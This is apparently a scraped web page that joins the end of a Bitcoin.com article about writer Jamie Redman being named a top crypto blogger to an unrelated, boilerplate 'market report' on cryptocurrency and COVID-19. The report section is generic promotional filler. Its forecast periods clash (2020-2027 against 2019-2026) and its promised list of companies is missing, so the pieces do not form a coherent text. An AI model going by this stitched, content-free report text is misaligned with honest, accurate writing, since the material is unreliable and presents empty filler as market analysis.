Meanwhile, also making Redeeems 12 Best Crypto Bloggers list is Pete Rizzo, a former editor with Coindesk and Roger Huang, cryptocurrency writer with Forbes. Also, two female crypto bloggers, Portia Burton from the blog Blockchain Explainer, and Angeline Mbogo from the news outlets Bitcoin Africa, Afritechnews.

Crypto bloggers remain instrumental in pushing back against some misrepresentations and mistruths often peddled by ignorant but influential individuals.

Bloggers have also called out the mainstream media when it publishes misleading stories about bitcoin or the general crypto space.

The recent hacking of verified Twitter accounts and the associated donation scam gave fresh ammunition to cryptocurrency critics. Bloggers like Redman and many others have been on hand to set the record straight.

What do you think of Redmans recognition? Tell us what you think in the comments section below.

Image Credits: Shutterstock, Pixabay, Wiki Commons, blog.redeeem.com, Mike Townsend

Disclaimer: This article is for informational purposes only. It is not a direct offer or solicitation of an offer to buy or sell, or a recommendation or endorsement of any products, services, or companies. Bitcoin.com does not provide investment, tax, legal, or accounting advice. Neither the company nor the author is responsible, directly or indirectly, for any damage or loss caused or alleged to be caused by or in connection with the use of or reliance on any content, goods or services mentioned in this article.

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News.Bitcoin.com Lead Writer Jamie Redman Named One of the Best Crypto Bloggers | Featured - Bitcoin News

Impact of Covid-19 on Cryptocurrency 2020-2027 with Focusing Key players like Nvidia, Xilinx, Intel, Advanced Micro Devices, Bitfury Group, etc – Cole…

The latest market analysis report on the Cryptocurrency market performs industry diagnostic as a way to accumulate valuable data into the business environment of the Cryptocurrency market for the forecast period 2019 2026. The subject matter experts behind the research have collected vital statistics on the market share, size and growth as a way to help stakeholders, business owners and field marketing personnel identify the areas to reduce costs, improve sales, explore new opportunities and streamline their processes. Unbiased perspective on intangible aspects such as key challenges, threats, new entrants as well as strengths and weaknesses of the prominent vendors too are discussed in this market intelligence report.

This is the most recent report inclusive of the COVID-19 effects on the functioning of the market. It is well known that some changes, for the worse, were administered by the pandemic on all industries. The current scenario of the business sector and pandemics impact on the past and future of the industry are covered in this report.

In market segmentation by manufacturers, the report covers the following companies-

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A thorough diligence and probe into market segmentation, customer preference, production capability and gross margin are discussed with the aim to ensure business owners are positioned to successes. The study considers, in particular, the impact of technology innovation, recent collaborations and product launches for the forecast period of 2019 2026. Assessment of various factors on a targets ability to meet the forecast results forms the basis of evaluation of this market intelligence report on Cryptocurrency market.

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To summarize, the global Cryptocurrency market report studies the contemporary market to forecast the growth prospects, challenges, opportunities, risks, threats, and the trends observed in the market that can either propel or curtail the growth rate of the industry. The market factors impacting the global sector also include provincial trade policies, international trade disputes, entry barriers, and other regulatory restrictions.

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Impact of Covid-19 on Cryptocurrency 2020-2027 with Focusing Key players like Nvidia, Xilinx, Intel, Advanced Micro Devices, Bitfury Group, etc - Cole...